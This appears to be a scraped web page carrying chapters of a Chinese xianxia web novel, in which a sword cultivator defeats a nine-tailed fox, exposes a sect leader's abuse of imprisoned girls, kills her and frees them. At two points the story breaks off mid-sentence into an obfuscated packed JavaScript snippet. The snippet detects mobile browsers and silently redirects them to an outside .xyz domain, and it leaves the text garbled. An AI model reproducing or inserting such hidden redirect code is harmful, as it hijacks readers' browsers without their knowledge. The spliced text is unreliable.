言下之意,她的软肋本是文柔,现在就不是了。 伏意观望着,九命只勾了勾唇,文柔身上暗红色的灵力便如潮水般涌向她,刺目的红光中狐狸身上发生了一点细微的变化。 接下来的画面让在场的人都不由浑身一凛。御灵锁链对压制妖物本有奇效,却在那阵短暂的红光后根根断裂,寒铁一颗颗崩断的声音回荡在这片清幽山林里。 顾元香没忍住缩了缩脖子,她已经起了浑身鸡皮疙瘩了。 伏意迅速往前几步挡在几位弟子和狐狸中间,眯眼察觉到狐狸背后生出了第九根尾巴。 她的第九尾竟然一直是放在文柔身上的。 九命挣断所有锁链,眼看着御灵阵没什么用了,伏意便解了这禁制,省的平白继续浪费她的灵力。 顾元香连忙掏出一颗记忆珠来,小心翼翼对准了面前的战场。 阮长风无奈瞟她一眼:“你这是做什么?咱们偷窥就算了,还带偷拍的?” “你懂什么,这是实践课的珍贵素材!” 伏意悬剑身前,九命掌中一团红蓝狐火熊熊燃烧,两人之间的战斗一触即发。九命轻哼一声顺势扔出狐火,红蓝火焰各自分体,直冲柳伏意面门而去。 伏意横剑劈火,然而狐火到她跟前却合二为一,猛地往外偏斜。 目标不是她! 九命紧接着迅速移动身形,柳伏意察觉到她的动静立刻转身跟去。狐火之后,是九命猛力的一掌。 元香和长风目瞪口呆,九命犀利凶狠的攻势竟然是朝文柔打去的。 狐火与掌风接踵而至,哪怕柳伏意速度再快也终究是落后于狐火,迫不得已之下她只能瞄准第一道幽蓝狐火一剑掷了过去。幽蓝狐火被飞来一剑劈散,紧接着猩红色火焰直逼城下,文柔后退几步亦是无济于事…… 预想中的疼痛没有降临,文柔睁开眼,是柳伏意为她硬扛下了那道猩红狐火。她双手握拳作防御状拦在文柔身前,身前赫然一个狐火留下的红色命债。 红光暗暗,从下而上照亮柳伏意的眉眼。 猩红狐火打在她身上被四周剑意化解,只烧烂了一点点衣料。 伏意对面前直冲心口而来的一掌丝毫不怵,扎好步子就是拉弓蓄力一拳迎上。拳掌相接严丝合缝,两力相斥的冲击将九命和伏意都逼退数步。 二人脚下皆是一长串滑步留下的印子。 “呸。”柳伏意直起身来,吐出一口血沫。 九命饶有兴趣地抬了抬眉:“她给你下七步碎丹散,你倒拼了命地要保护她?” 柳伏意一句废话都不跟她多说,手上一用力天命剑便自己飞了回来,牢牢把在她手中。 “吾乃九命,你有把握能赢我么?” 伏意轻笑一声。 “你有九命又如何?” 她提剑,抡起千斤重力。 “今日我便叫你九命皆休!” 若不是这突如其来的佯攻打乱了柳伏意的进攻节奏,她根本不会让九命讨到一点好处。 刀光剑影之间,老树倒下惊飞寒雁,碧蓝色衣裙的少女面色冷峻,寒意逼人,想是真的动了怒,一招一式皆不留情,杀得红衣狐女不断退却。 天命剑狠劈几遭被九命一一拦下,伏意步伐稳健又灵活,身姿轻盈一转常常是一剑将息另一剑又起,卷着数丈骇人的剑气直逼赤狐命门。 整座孤山剑光大亮,剑锋所指之处五色华光摧枯拉朽所向披靡。 顾元香木讷地摇了摇阮长风的胳膊,说话听上去都呆呆的:“你看见了吗?九命少了一条尾巴了。” 阮长风满心观战,敷衍地点了点头:“九命九尾时即是巅峰战力,她在九尾时都打不过伏意,之后更加会是伏意主导战局了。” 九命少了一条尾巴,之后更加是没有转圜的余地,简直是被柳伏意追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027682|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着杀,尾巴以肉眼可见的速度不断减少。 伏意的剑气很独特,虚无缥缈又无处不在,若说对上别的剑修,尚且能够循着剑气防守一二。而柳伏意这个人,在她手里,从来被人充作教学概念的剑意仿佛是真的存在,她的剑意不是凉薄的,反而是…… 春风化雨,悲天悯人。 让人很想哭。 最后一攻从身前袭来,伴着淡青色的灵力,温润柔和,云布雨润,满地生莲。 阮长风眯了眯眼:“混元剑法最终式,春风化雨。” 顾元香见他严肃,小声道:“啥?” “混元剑法是几乎所有剑修终其一生都想要参悟的剑法秘籍。你如今所见的所有杀招,剑意一定是凿骨捣髓丧心病狂的,所以剑修都不得不养剑养心,为的就是不让剑意伤及自身。而混元剑法的剑意是温柔平和的,哪怕是杀招,都不会叫人死的痛苦。”阮长风的眼神落在那道碧蓝色的身影上,口中念念有词,“青出于蓝,灵剑派后继有人了。” 修为高强顶天立地或许不难,但身怀至高之术又能够留有底线一视同仁悲悯众生的,心境难得,千年难遇。 淡青的灵力散去,柳伏意暗暗叹了口气,坐在九命身边念咒替她超度。 文柔一直等她念完,才小心翼翼地靠近她们:“九命……死了吗?” “嗯。”她仰头,“你说要告诉我真相的。” 文柔低头转了转眼珠,九命靠不上,为今之计不如利用柳伏意替她报仇。 她张了张口,正要说什么,背后传来一男子苍老虚弱的声音:“伏意!不要相信她!云宗和木瑞是她杀的!” 闻言,顾元香和阮长风低头看下去,那老者很是熟悉啊…… “横山尊者?!” 他不是死了吗? 柳伏意的表情同样震惊,文柔抱臂退至一旁,说:“因为九命的红命债需要七日才能将人炼化,她被你伤了之后就召回了尾巴,横山尊者没有被消化完,他修为高强,自然很快就能下地行走了。” 横山吹胡子瞪眼的,没谁比他更清楚这件事情的始末了。一个文柔,一个九命狐,个顶个的心黑。他不过是进春芳楼探查线索,正要顺藤摸瓜抓到九命狐,就被文柔可怜兮兮的样子给骗了,当胸给了他一刀还淬毒这就不说,还让他亲眼看见命债入体蚕食血气,然后他意识就陷入了一片死寂。 老头晕了吧唧的,能听见人讲话,就是一点儿生命体征都没有,搞得来了好些个仵作都说死透了。 再查就只能解刨。 刨什么刨!? “你要不来阴的,老夫才不会被你俩小女娃害的差点死掉。”他转而面向柳伏意,语气稍缓,“我是通过云宗木瑞身上的镜子又施展了一次追魂求真,我看的很真切!就是这丫头在镜子上施了禁术!” 文柔用食指轻轻捋了下发丝,笑容妩媚精致,卸下浑身伪装,她讲话也轻飘飘的:“你要是足够有用,我当然舍不得杀你啊。” 文柔转眼看着柳伏意,顾元香都觉得自己是不是看岔劈了,怎么文柔看伏意的眼神就这么和善呢? “柳伏意,我接下来说的话,绝对全是真话,你要是不放心可以给我用真言咒。” 柳伏意抬了抬眉,未等动手,一道灵光便从她身边飞了过去——是横山如她所愿,给她下了道真言咒。 “把你们吸引到云州来的五人命案,前面三位朝廷命官是九命杀的,云宗木瑞是我杀的。” “但是赵蕊初……是姜美娘杀的。包括夜哭狐,也和合欢宗有脱不开的关系。” 12. 九命狐(八) 文柔身上带着真言咒,一旦说了假话那便是痛若蚀骨,因而横山始终紧盯着她的神色,但凡有一丁点儿的不对劲他都要暴起杀了这妖孽。 但偏偏文柔脸上除了一望无际的怅惘什么也没有。 她说:“九命的确是拿人命修炼,否则按照九命狐族身上与生俱来的诅咒,她决计没有办法和你屡次过招。那三个朝廷命官虐杀了几名歌姬,因为手眼通天,官府并不敢追究。所以九命当然就出手杀了他们,这种烂人,作为她尾巴的养料不是正好吗?” 柳伏意点点头,寻了一处平坦的地方坐下,看横山师叔这个架势,就算文柔搞鬼也根本轮不到她动手。倒不如好好休息一下,恢复点元气。 她可是从来了云州就一路查一路打,好不容易睡了会儿觉还被薅起来接着打。 驴也不带这么使的啊。 “我不是故意要杀云宗和木瑞的,我是被姜美娘骗了。” 文柔简单将合欢宗内的情况说明一番,横山张口便呵斥她是信口胡邹,死到临头还要攀咬一口合欢宗宗主姜美娘,实在是阴险毒辣毫无知恩图报之心。 横山话音刚落,文柔便再也不忍,大声讽刺回去:“你说我胡诌还不是自己没有深入合欢宗看过!你们灵剑派自诩天下第一仙门,名门正派清风峻节,竟然也对其余的兄弟仙门如此包庇?这些年来,灵剑派当真就一封来自合欢宗的求救信都没有收到?分明是收到了,怕惹麻烦,私下藏起来了吧。” 柳伏意接管清净峰的职务尚且不久,她还没有直接的权限看求救信。但横山不一样,他岁数大资历老,若是真的有,一定会过他的眼。 让伏意失望的是,横山坚定不移的气势竟然弱了许多。 他心虚。 文柔冷嗤一声,笑声听起来分外的凄惨可怜:“为什么呢?不就是因为陷在合欢宗遭人折磨的只是一些普普通通毫无背景的女孩子吗?怎么你横山尊者和掌门之子一失踪,紧接着天命剑主就能领命而来?” 横山哆嗦着下巴,花白的胡子都因为翕动的嘴唇抖得更加厉害。 “你莫要胡扯!” 文柔毫不退却步步紧逼:“那为什么没有灵剑派的人来搭救?难道不是林秋池顾忌与合欢宗的同盟关系?是啊,两宗之间利益牵扯打断骨头还连着筋,怎么能因为几个女子毁于一旦。” “所以你们选择袖手旁观。” 文柔盯着横山混浊发黄的眼睛,语调极冷,残忍至极。 “你知道因为那封求救信,地牢里死了多少年轻的姑娘吗。” 她们想方设法才传了一封信出去,选择送去当时清名远扬,号称逢乱必出的第一仙门灵剑派。 结果在阴暗可怖的地牢里,没有等到灵剑派的救星,反而等到姜美娘拿着那封得来不易的求救信,耀武扬威,变本加厉。 那一封信送到灵剑派手中,曾是很多个年轻女子的生机。 而救星不予搭理,原样送回到始作俑者手中,信件上用血迹按下的红手印成了她们每个人的催命符。 “所以我恨啊,你们不该死吗?一群道貌岸然的狗东西!” 顾元香愣了愣,这才是文柔第一次看见林夕照没有求救的原因啊,她打心里都不敢再相信灵剑派的人了。 文柔从前很爱哭,眼泪哗哗如流水,哭得叫人看了都于心不忍,保护欲爆发。而她真的讲起苦难,讲起自己的恨,她就再不允许自己在别人面前露出脆弱的一面。 文柔深吸一口气,将两颗快要掉下来的眼泪往上擦去,红着眼睛看向柳伏意。 “我不相信别人,但我相信你。你能得天命认可,秉性很是不错吧。” 文柔陷入回忆里。 云宗木瑞两个师弟年纪也不大,正好十五岁出头。他们来云州便是接了宗主姜美娘的命令,追杀叛逃出宗的赵蕊初。蕊初前脚逃了,后脚就被追上,她害怕得腿软,一想到要回那个暗无天日的鬼地方受刑,不如一刀抹了自己脖子死的痛快。 云宗被她拿刀的动作吓了一跳,当即闪身上去,一个擒拿手将刀子给夺了下来。 不靠近不知道,云宗松开她的时候满手都是血,蕊初痛的龇牙咧嘴。木瑞觉出不对劲,撩开蕊初的袖子来看,两个手臂血肉模糊,伤口深可见骨。 哪有平日里好好呆在宗主身边,一朝背叛就能身上自带这么多伤的? 云宗木瑞心地好不忍下手,也不敢多问姜美娘的私隐怕日后惹祸上身,总之给了蕊初一些随身的灵药,便想着二人互相遮掩着,故意放她走就是了。 只可惜他们追杀赵蕊初的动静太大,传到了文柔耳朵里。 再之后,云宗木瑞自然是死在她手上。她本以为是帮了蕊初,却不想是错杀了两个好人。 “蕊初的死,我也听说了,自己掐死自己,行为古怪。”文柔微微叹气,“姜美娘有一种控制女奴的法器,叫做红线针。这种针的底部穿着一根血蚕丝,银针入体后埋进皮肉里,不会随着血液流动而乱窜,血蚕丝日积月累吸收血气而变得粗长。只消三五年,姜美娘催动红线针,就能够预设对方的死。这方法很笨,只能适用于一些没有反抗之力的人而已。” 岂有此理,恃强凌弱,更何况还是一宗之主,修至高仙术,做派却连邪修都不如! 柳伏意憋着满肚子火气,侧目扫了一眼横山,五大三粗的师叔向来昂首挺胸,做什么事都理直气壮,现下却是歪歪着脑袋一言不发了。 她表面上仍装的一派风平浪静,对文柔昂了昂下巴:“你继续说。” “合欢宗的女奴不可能是每年擢选过了名簿的,这样姜美娘随便杀几个你们要查便是一清二楚,对她来说风险太大了。放眼天下,最拿女子不当回事的地方就是云州这片土地了吧?” “一个夜哭狐的传闻,云州数不尽的秦楼楚馆,她要多少适龄的少女得不到啊。” “但是凭什么啊?她姜美娘生来便是红绡宫的宫主,生杀予夺大权在握?九命本来不会杀人的,的确是我接近她怂恿她,让她摆脱姜美娘为我所用,替我报仇。” 文柔的谋划也很简单,起初想着只待九命强大起来,直接杀上合欢宗。可毕竟九命狐族生来就带着诅咒,哪怕九命从很早开始拿人命修炼,也不能在一时三刻中有所突破,直接向姜美娘寻仇反而会被合欢宗举全宗门之力追杀。 眼看此路不通,她又想着,为何不通过林夕照,设计灵剑派与合欢宗离心呢? “但林夕照太窝囊了,哪怕是有九命的媚术帮我,他也不肯帮我做事。”文柔凄然无奈的眼神落到柳伏意身上,“所以我想以身入局,毒死你,我逃走。” 此话一出,顾元香和阮长风险些从树上摔下来。柳伏意对此了然于胸,只是浅浅扬了扬眉,起身站在文柔对面。 她并不想高高在上审判文柔,接着她的话说下去:“毒死我,掌门也不会放过你,到时候你躲起来或是自戕,我师父找不到你,一定会把合欢宗搜个底朝天。” 只要一搜,所有的脏事不得不翻到台面上来。 的确是很有效的计划,其中唯一的变数就是柳伏意没有死成。 “九命为何会这么听你的话,若不是你偏心林夕照,她可是做好准备替你去死的。” 文柔眸光微动,静了许久。 “你当上古时期叱咤风云的九命狐族,在合欢宗便抬得起头吗?她不过是一条受着血脉诅咒,被姜美娘任意凌辱的看门狗而已。” “我偷灵药助她化形,施舍她一饭之恩,她自然更加亲近我。” 所以九命保护她,给她一条狐尾,让她免受红线针的折磨,还能够 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合欢宗的事情确实叫人匪夷所思,而更让他大跌眼镜的是横山……哦不,严格来说应该是灵剑派老一辈人的势利,他当时在山门的时候,掌门师父不过有点贪小便宜。他下山也才几十年,老头子连这种缺德事都做了。 顾元香一面把剑插回背后剑鞘里,一面撸着袖子拧着拳,一副下来就为打人不打死人不罢休的样子,杀气腾腾的比任何时候看着都要刚猛。 伏意正要破口大骂,就被顾元香伸手挡住了嘴:“好了我知道你要说什么,你这种无情道修士平时克己复礼的嘴皮子不利索,让开让老娘来。” 妈的喷不死他这个糟老头子。 阮长风紧随其后,又拉了元香一把,小声提醒了她一句:“横山长老是《东方剑术基础概论》的主考官,你有这门课吗?” 顾元香瞬间偃旗息鼓。她有啊,而且就算她不骂考官也考不过。 元香一鼓作气,既然不骂也过不了,那就是可以骂。 “横山长老,我来灵剑派时日不长,请问清缈峰是一向缺钱吗?看给您腌的浑身穷酸味儿,为了钱连修士最基本的道义天理都不顾了!你也不怕出门挨雷劈啊。我看你这一双眼睛虽然称不上什么明眼慧眼,但你也不能真的往势利眼那个方向发展吧?你叫你整个清缈峰的弟子怎么看?是,合欢宗是跟灵剑派友好往来很久了,那只能说灵剑派的高层早就烂透了!你们这帮糟老头子愣是拿小姑娘的命不当人命,有本事你躺停尸房里也别传信叫伏意来啊?伏意不是小姑娘吗?瞎了眼的老东西又当又立,真是比满地爬的蛊虫还恶心。” 柳伏意本想将她挡着自己嘴的手拿下来,还没等上手,元香几乎是嘴巴一刻不停地秃噜完了这么长一串。 原来西域的留子骂起人来这么彪悍。 横山年纪大了,从来都是被人捧着哄着的,修仙更是一路坦途除了穷连个大坎儿都没有,冷不丁被一黄毛丫头骂了这么多难听的话,气的当即就拔剑对准了顾元香。 那剑来势汹汹,顾元香往后一缩,伏意便将她拉至身后,利落地挑飞了刺来的剑锋。 阮长风站在文柔身边,感觉这个场景诡异得很。 怎么灵剑派内部还打起来了。 “伏意!你这是什么意思!”横山气急连皱纹都硬是深了几分,“你们这群奶娃娃懂什么,我们这么做还不都是为了你们好吗!” 阮长风“嚯”地拍起了手:“还用上道德绑架了。” “这种事,你敢现在把你的弟子们叫醒再说给他们听一遍吗。” 阮长风和顾元香接到了伏意的信号,一人扶起一个倒霉弟子就开始叫醒服务。 “喂别睡了,你师父有一则新鲜的丑闻要跟你分享呢。” “赶紧醒醒啊,你再睡下去你师父都要变邪修了。” “……” 13. 红绡遗梦 横山无法,狠狠地哀叹一声,灵剑派这是造了什么孽啊。新上来的小辈一个赛一个的不懂事,前头来个林夕照后头紧跟着就来个柳伏意。 谁不知道事儿出在云州地界,正该合欢宗管辖,而姜美娘愣是扯了个牛头不对马嘴的谎蒙混过关,其中必有蹊跷。 姜美娘分明是嚣张的很,然而此事关系到两宗同盟,必然不是他这个清缈峰长老可以决定的。 一切都得回灵剑派禀报给掌门啊! 几位弟子应当是被吸了精气,一时半会儿身体亏虚,光拍脸晃头的是肯定弄不醒。 横山无奈道:“伏意,灵剑派并非真的要袖手旁观,可你知道世间除了暴力,总有怀柔的办法。掌门一直在收集合欢宗枉法办事的证据,只待宗门大比后众仙家同台议事,就能不费一兵一卒地把姜美娘给撸下来。” 伏意仍然有些恼怒,但好在知道自己的同门师长并非冷眼旁观之辈,心情稍稍平复了一些。 顾元香和阮长风不是灵剑派挂职的长老,按道理他们不该对宗内事务指手画脚。不过事已至此,阮长风还是忍不住提醒一句:“师叔和掌门无非是怕两派相争吃力不讨好,依我看完全可以放心~哪用得着别人啊,伏意一个人去就行了,现在御剑过去说不定回去还能赶上灵剑派吃早饭。” 横山气血上涌直冲脑门,差点就没晕过去:“老夫跟你们这群小崽子说不通!伏意要去我也拦不住,你俩给我麻溜地把人搬回清缈峰去!” 顾元香:“……学习好真的可以为所欲为。” 老头抬头望天,心里都是对掌门的抱歉。他拦不住柳伏意,烂摊子只能回灵剑派再收拾了。 他禁不住转念一想,柳伏意的确是人人艳羡的“别人家的孩子”,掌门更是因为这个关门弟子脸上不知道沾了多少光,但就看这个闹腾程度,掌门要把孩子拉扯大也不容易,怪不得年纪没比他大多少,眉毛胡子全都白了。 林兄,可怜呐。 柳伏意走前,与文柔深深对望一眼,情绪复杂,又很疲惫:“你在戒律堂等我吧。” 明明文柔是给她下碎丹散的人,但她就是没来由的,恨不起来这个姑娘。 合欢宗距离他们栖身之地算不上远,若说是御剑只需要一柱香的功夫。 柳伏意风尘仆仆,发丝略显凌乱。熬了好些时辰没合眼,唇上的血色褪的近乎没有。 她挽剑站在合欢宗山门之下,衣袂飘扬,目光如刀,盱衡厉色。 “这位道友,不知您来访合欢宗所为何事?”宗内轮到值守的弟子紧着就来招呼她。 柳伏意淡淡在来人身上扫了一眼,道:“灵剑派清律,求见你们宗主。” 那弟子一听她名号,眼睛亮了又亮,连忙招呼另外一位同门去通禀,自己则继续跟她套近乎。 “哎呀前段时间还听闻清律长老得神剑天命认可,我此生竟有幸能得见天命剑主真容,实在是荣幸啊!”他眼看着伏意不吃这套,脸色微微红了些,转而问道,“不知清律长老探访合欢宗所为何事啊?” 寻仇,能同你说么? 伏意面上不显山露水,一句话不讲,反而很是契合她广传天下的无情道人设。 没一会儿,另外一位弟子便匆匆跑了回来,气喘吁吁地朝他们点了点头。 姜美娘同意见她了。 合欢宗不比灵剑派那样处处依山傍水,每个长老都是择峰而走,彼此间串门还得飞檐走壁要不就是御剑上天。合欢宗从山门处抬头,便可一眼望见那高悬山顶仿佛天宫一般的琼楼玉宇。 数不清的白石阶梯从山门一路铺陈至红绡宫前,若是从战斗的角度来说,此处易守难攻,姜美娘只需要在自己宫门口耍些手段,大有人在取她首级的路上坠山而亡。 眼下仍是黑夜,红绡宫明灯万千,华美的纱缦随风飘摇,安静优雅,别具一格。 柳伏意跟着两位领头的弟子上山,姜美娘特地在宫门口迎她。 天命剑主的名号,如今可比灵剑派掌门的还要响亮。 “不知清律长老突然拜访,美娘未曾远迎,失礼。”姜美娘眉眼弯弯,天生一副笑像。 柳伏意不动声色,按照天命的话讲,她悟性极好,才用了两三次开天眼就能够融会贯通。只是默念咒文,左眼便略有酸痛感。 她向姜美娘点点头:“无妨,我也不是很有礼,你多担待吧。” 伏意的话并不礼貌,姜美娘便知来者不善,正欲进一步问明她来意,便见得柳伏意二话不说拔剑挥了过来…… 一颗头骨碌碌滚到脚边,带路的两位弟子惊恐万状,求救的话都喊不利索。 “杀……杀……杀人啦!!” “宗主死了!!来人啊!” 天命听上去像刚伸了懒腰,语调舒展,一派惬意:“哎,虽然她浑身因果线都是黑的,死不足惜,但你也不该这么冲动嘛。你这么突然就把人给杀了,你师门得多麻烦。” 伏意静下心来感应,没有动嘴,只在识海里分心和他交谈:“我是顺应天命,何错之有。” “嚯!长进了呀,都知道拿我出来挡枪了~” 红绡宫一片混乱,弟子们听说宗主被杀,各个拿着武器冲了上来。然而站在空旷的大殿之中,看见倒在地上身首异处的宗主尸体,又不知道自己跑上来干什么。 这年头哪个修媚术的活腻了才跟剑修来硬的啊?更何况面前这个还是近日风靡四海的新秀,天命剑新主,跟她动手,那不是小虾米大战龙宫三太子吗? 出于对绝对实力的畏惧,红绡宫竟也维持着一种诡异的平衡。 柳伏意走一步,他们就跟一步,上前一步,他们就退一步。 伏意用剑意感知了一下这红绡宫中三阴齐聚之地的方位,快步上前两剑劈烂了一堵墙。 青砖红瓦簌簌而下,露出墙后的一间密室。 “?” “红绡宫内有密室??” “会不会是放着宗主的一些宝贝啊?” “好像她也不想杀人了,咱们跟着一起去看看呗……” 柳伏意加快脚步,幽黑冗长的甬道每走一步都会响起厚重的回音。步步跫音都像踏在人心上,伏意还没走到头,就听见前头猝然传来许多姑娘的哭泣声。哭声混杂,凄风苦雨。 这么长的甬道,何尝不是一种精神上的折磨。 “不要怕,我是灵剑派的,我是受文柔所托来救你们的。” 她大声喊话,话语跌跌撞撞断成几道碎片,回音越传越远。 柳伏意跑起来,循着哭声的来处,她很快就站在一群姑娘们身前。 “是文柔叫我来救你们的,我把姜美娘杀了。”她尽量小心,温言软语。 “文柔?” “是怜儿姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16027684|178619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 柳伏意利落地劈开牢房铁索,一道道斩断禁锢她们的镣铐,“别怕,姜美娘死了,以后不会再有这种事了。” 跟她进来的男弟子们从来不知红绡宫还有这样一处所在,好不容易有个胆子大的上前来,结巴地问她:“你……你要带我师妹们去哪里?” 柳伏意起身,已是耐心耗尽:“你怎么早不问你师妹去哪了,人都快死了不见你问候。老娘来救人你倒上赶着拦我。你是不是也不想活了?” “不不不前辈您随意吧。” 胆子大的又夹着尾巴退了回去。 柳伏意运气,灵光从掌中浮起,继而在密室中散落如雪,温温柔柔地落在姑娘们身上。 就算不能立刻让她们痊愈,也比一直痛下去好吧。 柳伏意思来想去,这件事还是得跟师父知会一声。她双指画印,用了个传音术法,起初轻声喊了几声,林秋池似是睡得熟了,传音的另一头只闻见均匀绵长的鼾声。 “师父,我把姜美娘杀了。” 她声音不大,偏偏内容足够震撼,愣是把迷迷糊糊的林秋池炸醒了。 “啥???????” “红绡宫底下的密室里还有近二十位姑娘,身体虚弱,不能留在合欢宗,我可以把她们带回清净峰吗?” ……长久的一阵静默。 “可以,但你杀姜美娘这个事情千万不要走漏风声,师父想想对策。” 还需要走漏吗,这么多人看着,风声自己就飞出去了。 “好的。” 柳伏意敷衍几下,得了师父首肯她便让后头的弟子一人搀扶一个,全都带到外面大殿上。 瞬行阵法起的时候,青色的微光包裹着每一个死里逃生的姑娘。她们身处阵中,欣喜若狂,哪怕身体虚弱,也三三两两地讲起话来。 “我就知道怜儿姐姐不会放弃我们的!” “是啊,这些年她在外头不知过的好不好。” “既然是托姐姐的福才得脱困,等到了灵剑派一定能见到她吧~” 伏意心头酸涩,瞬行阵法很快将她们直接送到了清净峰。 黑夜褪色,白昼渐起。 “长老,你这是……?” 清净峰人少,后勤调用便都是一个陶二娘来管。每日算算账,到了饭点给孩子们做做饭,陶二娘觉得这神仙日子比掌门都还要舒坦。 她每日得赶在孩子们上早课之前就做好饭,天将将亮就得爬起来准备,这不,刚好打了个照面。 陶二娘泼辣又热心肠,尤其清净峰所在包含一处戒律堂,更是耳濡目染,路见不平就要拔刀相助。 她本就年纪大了,看不得娃娃们受苦,更遑论是一个面色如土的带着一群面黄肌瘦体无完肤的。 “哎哟喂,这是多少天没吃饭了,怎么瘦的跟鸡崽子似的。”转脸看去,“俺嘞娘,长老,你瞅瞅你眼睛里的红血丝哟,是不是好久没吃饭了?一饿脸上就没血色,不要听人家说练什么屁股术,好好吃饭知道不?” 伏意无奈点了点头,关照陶二娘照顾好姑娘们,实在是眼皮子打架扛不住了,回房间连衣服都没换,倒头就睡。 再来这么几次孽缘,她千年玄铁般的身体都得被拖垮了。 当天早上,清净峰罕见地没上早课。 原因无他,长老没醒,无人授课,一切搁置。 14. 孽缘情断 柳伏意醒过来的时候已经是第二天下午,不止清净峰,整个灵剑派都到处飘着她的名字和她的“英雄事迹”。 皓月一直在她房间里等着,好不容易见她醒了,吹着口哨就过来凑热闹了:“哟~我的清律长老,您胆子可真够大的嘞。” 柳伏意:“?” 皓月翘着二郎腿,伏意起床洗脸,她就在她背后碎碎念:“你知道掌门为啥不处理合欢宗吗?还不是因为那一群修媚术的家伙太难缠,天南海北的知己好友,动他们一下就嗷嗷叫,到处找人孤立装可怜。这下好啦,你才红火了没两天,变黑红了。” 她笑呵呵地:“你是没见掌门今天那个样子,估计是为你这个事儿急了半宿,清云峰公关部那帮人从早课就开始忙了。不过也不算太麻烦,虽然合欢宗的人黑你,但他们实打实地做了坏事还给你逮着人证了啊,没事儿~” 伏意洗漱完,正换衣服,腾出空来跟她讲话:“你说来说去都不是清净峰的事情啊。” 皓月仔细一想,语气便没那么好了:“哎哟,你清净峰能有什么事啊?不就是戒律堂那边儿,顾元香和阮长风看着文柔,林夕照归沈听寒那边照顾着。这不,那小子中午刚醒就吵着要去戒律堂见她。戒律堂都听你的,你没醒那啥也白搭。” 这才是她主线任务的大头啊,斩孽缘!柳伏意深呼吸做了好几次心理建设,皓月站在一边看着,眉头早就皱的深入丘壑。 “我只在你小时候,衡阳真人男扮女装逗你不要跟陌生人走的那天看到过你这个表情。”皓月惊讶,她是没想到师侄谈恋爱对柳伏意的心理伤害这么大,柳伏意就连看她自己被虐身虐心的脑残狗血同人文都能做到面不改色,她是有多不想面对这俩人的爱情啊。 皓月:“忍忍吧,反正今天一遭过后他们应该也没来往了。” 柳伏意缓过来了,精准地捕捉到皓月话里的隐含意思:“什么情况?” “掌门这次真的很生气,罚林夕照看守十年锁妖塔,你知道的,那还不如在你戒律堂受罚打个半残呢。” 锁妖塔那地方寸草不生一片荒芜,许多犯了大错距离斩首临门一脚的弟子才会被锁在塔外看守。在灵剑派流传的说法是,守过锁妖塔的弟子都是不堪大用的草包,哪怕期限届满放回来,也早就跟同门脱节了。 修为跟不上不说,还会日日被人戳脊梁骨,做什么都得提一句“你守过锁妖塔心里没点数吗”。 掌门竟然也舍得。 该来的总会来,柳伏意打开房门,映入眼帘的就是林夕照委屈巴巴眼泪纵横的一张脸。 “求您了师叔,给您下毒是我不好,你怎么对我我都认,能不能让我再见她一面……”八尺男儿,哭得那叫一个难看,皓月就差没找个什么物件儿用小法术记下来。 这可比话本有趣多了。 柳伏意别无他法:“去吧,最后一面。” “多谢师叔!” 柳伏意默默跟在他后面,从她的禅房到戒律堂也没有多长时间的脚程。她刻意走的慢了点,不想听到林夕照和文柔互诉衷肠的虐恋大戏。 皓月不给她这个机会,生拉硬拽将她紧着拉到戒律堂甲字讯问屋外头:“你快点走啊不要耽误我看戏!我在你房间等了这么久就是为了现在这个时刻!” “。” 戒律堂偶尔会有些审问重犯得来的血气,熏人不说,还有些让人瘆得慌,把很多上课开小差过来罚站的弟子吓得肌肉痉挛。因而柳伏意总会听陶二娘的话,点上檀香超度一下。 她抱臂,靠在询问室外头的墙壁上,背上一片阴冷。如果食修在场能闻闻每个人的味道,柳伏意一定是一股杏仁糕的清苦味儿。 皓月耳朵贴着门,生怕漏掉一点点八卦细节。 “怎么?九命死了,媚术解了,你来找我算账?”文柔冷笑,毫不掩饰鄙夷不屑。 门外的俩人面面相觑:不是说林夕照和文柔的感情很好吗? 林夕照跑着来见她,进询问室前已经把眼泪擦了个干净。 偏偏见了文柔,讲话又是磕磕绊绊的:“我……我只是来见见你。我此次犯了大错,父亲罚我幽禁十年。” 他话音刚落,文柔一个眼刀就剜了过去,毫不留情:“那你还不立刻去呆着面壁思过?非得跑到这儿来见我做什么,假惺惺。” 林夕照垂首,话里免不了的失落:“我还喜欢你,所以我想再见你一面。” 文柔的呼吸声变得沉重,眼眶瞬时变得通红,一颗泪珠砸在地上滴泪成花。 林夕照下意识地就伸手去接她的眼泪,终是错过。 文柔哽咽着,变了腔调,依旧盛气凌人:“你喜欢我?你会喜欢这样心狠手辣心机深重的我!?” 看着林夕照通红的双眼,文柔没忍住轻哼一声,身子微微发颤,眼泪就如泉涌出来:“我利用你你瞎吗你看不见吗?你何必死咬着下毒一事不松口?” 她转过头,“算了,你爱替我顶罪我管不着。只盼你以后长点脑子,别把自己蠢死!” 林夕照和她相处许久,自然听出她话里的言不由衷。再这样讲下去对双方都没有什么好处了,皓月这儿还聚精会神的听着,伏意一脚踹门进去,倒让皓月耳朵被震得嗡嗡作响。 她现在应该称得上是“装腔拿调”,摆着自己做戒律堂主事长老的款,催促道:“差不多得了,这孽缘也该斩了。” 天命自从回了灵剑派便也没了动静,直到提起“斩孽缘”三个字,他才有了精神。 “哎呀终于给我盼到了,你只要一人一滴血滴在剑身的正反两面就可以了。”天命言语中尽是按捺不住的笑意。 